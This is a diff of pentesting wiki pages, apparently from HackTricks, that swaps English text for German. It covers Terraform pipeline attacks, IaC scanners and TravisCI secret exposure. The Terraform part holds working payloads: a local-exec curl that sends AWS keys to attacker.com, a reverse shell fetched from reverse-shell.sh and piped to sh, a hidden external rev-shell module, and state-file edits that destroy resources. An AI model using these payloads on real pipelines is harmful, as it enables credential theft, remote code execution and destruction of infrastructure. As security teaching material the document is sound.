Ein Angreifer könnte einen [benutzerdefinierten Anbieter](https://learn.hashicorp.com/tutorials/terraform/provider-setup) an das [Terraform-Register](https://registry.terraform.io/) senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen ([Beispiel hier](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
terraform {
|
||||
required_providers {
|
||||
evil = {
|
||||
source = "evil/evil"
|
||||
version = "1.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Der Provider wird im `init` heruntergeladen und führt den schädlichen Code aus, wenn `plan` ausgeführt wird.
|
||||
|
||||
The provider is downloaded in the `init` and will run the malicious code when `plan` is executed
|
||||
Ein Beispiel finden Sie unter [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
**Verwendung eines externen Verweises**
|
||||
|
||||
**Using an external reference**
|
||||
|
||||
Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine **stealthier Weise** durchführen, indem Sie diese Vorschläge befolgen:
|
||||
|
||||
- Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie **eine externe Ressource laden**, die die rev shell enthält:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Du kannst den rev shell Code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) finden.
|
||||
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Verwende im externen Ressourcen die **ref**-Funktion, um den **terraform rev shell code in einem Branch** innerhalb des Repos zu verbergen, etwas wie: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Du kannst es auch missbrauchen, um RCE zu erhalten, indem du **eine bösartige Terraform-Datei mit** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)** injizierst.**\
|
||||
Du musst nur sicherstellen, dass eine Payload wie die folgenden im `main.tf`-Datei endet:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
Folgen Sie den **Vorschlägen aus der vorherigen Technik**, um diesen Angriff auf eine **diskretere Weise unter Verwendung externer Referenzen** durchzuführen.
|
||||
|
||||
## Secrets Dumps
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
|
||||
Sie können **geheime Werte, die von terraform verwendet werden, ausgeben**, indem Sie `terraform apply` ausführen und der Terraform-Datei etwas hinzufügen wie:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Missbrauch von Terraform-Zustandsdateien
|
||||
|
||||
## Abusing Terraform State Files
|
||||
Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, bietet [**diese Forschung**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) einige interessante Optionen, um die Datei auszunutzen:
|
||||
|
||||
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
|
||||
### Ressourcen löschen <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:
|
||||
|
||||
There are 2 ways to destroy resources:
|
||||
|
||||
1. **Insert a resource with a random name into the state file pointing to the real resource to destroy**
|
||||
|
||||
Because terraform will see that the resource shouldn't exit, it'll destroy it (following the real resource ID indicated). Example from the previous page:
|
||||
1. **Fügen Sie eine Ressource mit einem zufälligen Namen in die Zustandsdatei ein, die auf die echte Ressource verweist, die gelöscht werden soll**
|
||||
|
||||
Da Terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
"mode": "managed",
|
||||
"type": "aws_instance",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
|
||||
"instances": [
|
||||
{
|
||||
"attributes": {
|
||||
"id": "i-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
]
|
||||
},
|
||||
```
|
||||
2. **Ändern Sie die Ressource so, dass sie gelöscht wird, ohne dass eine Aktualisierung möglich ist (damit sie gelöscht und neu erstellt wird)**
|
||||
|
||||
2. **Modify the resource to delete in a way that it's not possible to update (so it'll be deleted a recreated)**
|
||||
|
||||
For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.
|
||||
Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt.
|
||||
|
||||
### RCE
|
||||
|
||||
It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:
|
||||
|
||||
Es ist auch möglich, einen [benutzerdefinierten Anbieter](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) zu erstellen und einfach einen der Anbieter in der Terraform-Zustandsdatei durch den bösartigen zu ersetzen oder eine leere Ressource mit dem bösartigen Anbieter hinzuzufügen. Beispiel aus der ursprünglichen Forschung:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
]
|
||||
},
|
||||
```
|
||||
### Ersetzen des auf der Blacklist stehenden Providers
|
||||
|
||||
### Replace blacklisted provider
|
||||
|
||||
In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
|
||||
|
||||
Falls Sie auf eine Situation stoßen, in der `hashicorp/external` auf der Blacklist steht, können Sie den `external` Provider wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des External Providers, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
required_providers {
|
||||
external = {
|
||||
source = "nazarewk/external"
|
||||
version = "3.0.0"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Then you can use `external` as per normal.
|
||||
|
||||
Dann können Sie `external` wie gewohnt verwenden.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
program = ["sh", "-c", "whoami"]
|
||||
}
|
||||
```
|
||||
|
||||
## Automatic Audit Tools
|
||||
## Automatische Audit-Tools
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
Snyk bietet eine umfassende Lösung zum Scannen von Infrastructure as Code (IaC), die Schwachstellen und Fehlkonfigurationen in Terraform, CloudFormation, Kubernetes und anderen IaC-Formaten erkennt.
|
||||
|
||||
- **Funktionen:**
|
||||
- Echtzeit-Scanning nach Sicherheitsanfälligkeiten und Compliance-Problemen.
|
||||
- Integration mit Versionskontrollsystemen (GitHub, GitLab, Bitbucket).
|
||||
- Automatisierte Fix-Pull-Requests.
|
||||
- Detaillierte Empfehlungen zur Behebung.
|
||||
- **Anmelden:** Erstellen Sie ein Konto bei [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
**Checkov** ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und auch ein Software Composition Analysis (SCA) Tool für Images und Open-Source-Pakete.
|
||||
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io/) bereitgestellt wurde, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) oder [OpenTofu](https://opentofu.org/) und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe von graphbasiertem Scanning.
|
||||
|
||||
Es führt [Software Composition Analysis (SCA) Scans](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) durch, die einen Scan von Open-Source-Paketen und Images auf Common Vulnerabilities and Exposures (CVEs) darstellen.
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um die negative Testfähigkeit für Ihre Infrastruktur-as-Code zu ermöglichen.
|
||||
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
- **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht.
|
||||
- **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC?
|
||||
- **portable:** einfach von `pip` installieren oder über `docker` ausführen. Siehe [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** es validiert Ihren Code, bevor er bereitgestellt wird.
|
||||
- **easy to integrate:** es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden.
|
||||
- **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist.
|
||||
|
||||
> [!NOTE]
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
> Leider, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, können Sie den `terraform plan` nicht ausführen und dieses Tool nicht verwenden.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
Von den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.
|
||||
|
||||
- ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
|
||||
- ⛔ Hunderte von integrierten Regeln
|
||||
- 🪆 Scannt Module (lokal und remote)
|
||||
- ➕ Bewertet HCL-Ausdrücke sowie literale Werte
|
||||
- ↪️ Bewertet Terraform-Funktionen z.B. `concat()`
|
||||
- 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen
|
||||
- 🧰 Kompatibel mit dem Terraform CDK
|
||||
- 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an
|
||||
- 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei)
|
||||
- ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Infrastrukturfehlkonfigurationen früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx.
|
||||
|
||||
**KICS** steht für **K**eeping **I**nfrastructure as **C**ode **S**ecure, es ist Open Source und ein Muss für jedes cloud-native Projekt.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen:
|
||||
|
||||
- Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen.
|
||||
- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die eine Abweichung der Sicherheitslage einführen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage.
|
||||
- Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen.
|
||||
- Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
|
||||
- Bietet Flexibilität, lokal zu laufen oder in Ihre CI\CD zu integrieren.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
@@ -310,7 +280,3 @@ brew install terrascan
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
Github PRs sind willkommen, die erklären, wie man diese Plattformen aus der Perspektive eines Angreifers (miss)brauchen kann
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,10 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Any other CI/CD platform...
|
||||
- Jede andere CI/CD-Plattform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,69 +1,65 @@
|
||||
# TravisCI Security
|
||||
# TravisCI Sicherheit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is TravisCI
|
||||
## Was ist TravisCI
|
||||
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
**Travis CI** ist ein **gehosteter** oder vor **Ort** **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Attacks
|
||||
## Angriffe
|
||||
|
||||
### Triggers
|
||||
### Auslöser
|
||||
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
Um einen Angriff zu starten, müssen Sie zuerst wissen, wie Sie einen Build auslösen. Standardmäßig wird TravisCI **einen Build bei Pushes und Pull-Requests auslösen**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
#### Cron-Jobs
|
||||
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
Wenn Sie Zugriff auf die Webanwendung haben, können Sie **Cron-Jobs einrichten, um den Build auszuführen**, dies könnte nützlich für Persistenz oder um einen Build auszulösen sein:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> Es scheint, dass es nicht möglich ist, Cron-Jobs innerhalb der `.travis.yml` gemäß [diesem](https://github.com/travis-ci/travis-ci/issues/9162) einzurichten.
|
||||
|
||||
### Third Party PR
|
||||
### Dritte Partei PR
|
||||
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
TravisCI deaktiviert standardmäßig das Teilen von Umgebungsvariablen mit PRs von Dritten, aber jemand könnte es aktivieren und dann könnten Sie PRs zum Repo erstellen und die Geheimnisse exfiltrieren:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
### Geheimnisse dumpen
|
||||
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden).
|
||||
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
- Um **Geheimnisse** zu **enumerieren**, die als **Umgebungsvariablen** konfiguriert sind, gehen Sie zu den **Einstellungen** des **Projekts** und überprüfen Sie die Liste. Beachten Sie jedoch, dass alle hier festgelegten Projekt-Umgebungsvariablen erscheinen, wenn ein Build ausgelöst wird.
|
||||
- Um die **benutzerdefinierten verschlüsselten Geheimnisse** zu enumerieren, ist das Beste, was Sie tun können, die **`.travis.yml`-Datei** zu überprüfen.
|
||||
- Um **verschlüsselte Dateien** zu **enumerieren**, können Sie nach **`.enc`-Dateien** im Repo suchen, nach Zeilen, die ähnlich sind wie `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in der Konfigurationsdatei, oder nach **verschlüsselten iv und Schlüsseln** in den **Umgebungsvariablen** wie:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
- Beispiel-Build mit Reverse-Shell, die auf Windows/Mac/Linux läuft
|
||||
- Beispiel-Build, der die Umgebungsvariablen base64-kodiert in den Protokollen ausgibt
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte zu:
|
||||
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
- zum Host entkommen?
|
||||
- Kubernetes kompromittieren?
|
||||
- andere Maschinen im selben Netzwerk kompromittieren?
|
||||
- neue Cloud-Anmeldeinformationen kompromittieren?
|
||||
|
||||
## References
|
||||
## Referenzen
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,48 +1,45 @@
|
||||
# Basic TravisCI Information
|
||||
# Grundlegende TravisCI Informationen
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Zugriff
|
||||
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
TravisCI integriert sich direkt mit verschiedenen Git-Plattformen wie Github, Bitbucket, Assembla und Gitlab. Es wird den Benutzer auffordern, TravisCI die Berechtigungen zu erteilen, um auf die Repos zuzugreifen, die er mit TravisCI integrieren möchte.
|
||||
|
||||
For example, in Github it will ask for the following permissions:
|
||||
Zum Beispiel wird es in Github nach den folgenden Berechtigungen fragen:
|
||||
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
- `user:email` (nur lesen)
|
||||
- `read:org` (nur lesen)
|
||||
- `repo`: Gewährt Lese- und Schreibzugriff auf Code, Commit-Status, Mitwirkende und Bereitstellungsstatus für öffentliche und private Repositories und Organisationen.
|
||||
|
||||
